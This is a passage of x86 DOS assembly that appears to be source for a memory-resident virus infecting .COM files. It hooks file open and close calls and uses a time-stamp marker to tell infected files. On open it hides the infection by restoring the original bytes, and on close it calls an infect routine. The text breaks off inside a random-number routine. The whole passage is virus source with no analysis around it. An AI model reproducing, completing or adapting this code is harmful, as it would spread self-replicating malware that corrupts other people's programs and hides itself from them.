|
push ax
|
||||||
|
push bx
|
||||||
|
push cx
|
||||||
|
push dx
|
||||||
|
push si
|
||||||
|
push di
|
||||||
|
push bp
|
||||||
|
push ds
|
||||||
|
push es
|
||||||
|
|
||||||
|
|
||||||
|
mov al,'.'
|
||||||
|
push ds ;ds=> es
|
||||||
|
pop es
|
||||||
|
mov di,dx ;es:di filename
|
||||||
|
|
||||||
|
mov cx,50
|
||||||
|
repnz scasb
|
||||||
|
|
||||||
|
mov si,di ;ds:si file ext.
|
||||||
|
|
||||||
|
lodsw
|
||||||
|
cmp ax,'OC'
|
||||||
|
je check_m2
|
||||||
|
cmp ax,'oc'
|
||||||
|
je $+7
|
||||||
|
lea dx,cancel_open
|
||||||
|
jmp far ptr dx
|
||||||
|
check_m2:
|
||||||
|
lodsb
|
||||||
|
cmp al,'m'
|
||||||
|
je ext_is_com2
|
||||||
|
cmp al,'M'
|
||||||
|
jne cancel_open
|
||||||
|
|
||||||
|
ext_is_com2:
|
||||||
|
mov ax,3d02h ;open file
|
||||||
|
pushf
|
||||||
|
push cs
|
||||||
|
call call_int21h
|
||||||
|
jc cancel_open
|
||||||
|
mov bx,ax
|
||||||
|
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
push cs
|
||||||
|
pop es
|
||||||
|
|
||||||
|
mov ax,5700h ;get time/date
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
and cl,00011111b ;already infected
|
||||||
|
cmp cl,00001010b
|
||||||
|
jne cancel_open
|
||||||
|
|
||||||
|
mov ax,4202h ;goto eof
|
||||||
|
xor dx,dx
|
||||||
|
xor cx,cx
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
push ax ;save size
|
||||||
|
sub ax,3
|
||||||
|
|
||||||
|
mov dx,ax ;goto eof -3
|
||||||
|
mov ax,4200h
|
||||||
|
mov cx,0
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov ah,3fh ;read
|
||||||
|
mov cx,3
|
||||||
|
lea dx,temp_bytes
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
|
||||||
|
mov ax,4200h ;goto beg
|
||||||
|
xor cx,cx
|
||||||
|
xor dx,dx
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov ah,40h ;write original
|
||||||
|
mov cx,3
|
||||||
|
lea dx,temp_bytes
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
pop dx
|
||||||
|
sub dx,filelen
|
||||||
|
|
||||||
|
mov ax,4200h ;goto real size
|
||||||
|
mov cx,0
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov ah,40h
|
||||||
|
mov cx,0
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov ah,3eh
|
||||||
|
pushf
|
||||||
|
push cs
|
||||||
|
call call_int21h
|
||||||
|
cancel_open:
|
||||||
|
pop es
|
||||||
|
pop ds
|
||||||
|
pop bp
|
||||||
|
pop di
|
||||||
|
pop si
|
||||||
|
pop dx
|
||||||
|
pop cx
|
||||||
|
pop bx
|
||||||
|
pop ax
|
||||||
|
popf
|
||||||
|
|
||||||
|
pushf ;open file...
|
||||||
|
push cs
|
||||||
|
call call_int21h
|
||||||
|
retf 2
|
||||||
|
|
||||||
|
close_file:
|
||||||
|
pop bp
|
||||||
|
push ax
|
||||||
|
push bx
|
||||||
|
push cx
|
||||||
|
push dx
|
||||||
|
push si
|
||||||
|
push di
|
||||||
|
push bp
|
||||||
|
push ds
|
||||||
|
push es
|
||||||
|
|
||||||
|
mov ax,1220h ;get handle table
|
||||||
|
int 02Fh
|
||||||
|
mov bl,es:[di]
|
||||||
|
mov ax,1216h
|
||||||
|
int 02Fh
|
||||||
|
|
||||||
|
mov bp,di
|
||||||
|
|
||||||
|
add di,28h
|
||||||
|
push es
|
||||||
|
pop ds
|
||||||
|
mov si,di
|
||||||
|
lodsw
|
||||||
|
cmp ax,'OC'
|
||||||
|
jne cancel_open
|
||||||
|
lodsb
|
||||||
|
cmp al,'M'
|
||||||
|
jne cancel_open
|
||||||
|
|
||||||
|
mov si,bp
|
||||||
|
add si,20h
|
||||||
|
push cs
|
||||||
|
pop es
|
||||||
|
|
||||||
|
call infect
|
||||||
|
|
||||||
|
jmp cancel_open
|
||||||
|
|
||||||
|
get_rnd:
|
||||||
|
push dx
|
||||||
|
push cx
|
||||||
|
push bx
|
||||||
|
in al,40h ;'@'
|
||||||
|
add ax,0000
|
||||||
|
mov dx,0000
|
||||||
|
mov cx,0007
|
||||||
|
rnd_init5: | ||||||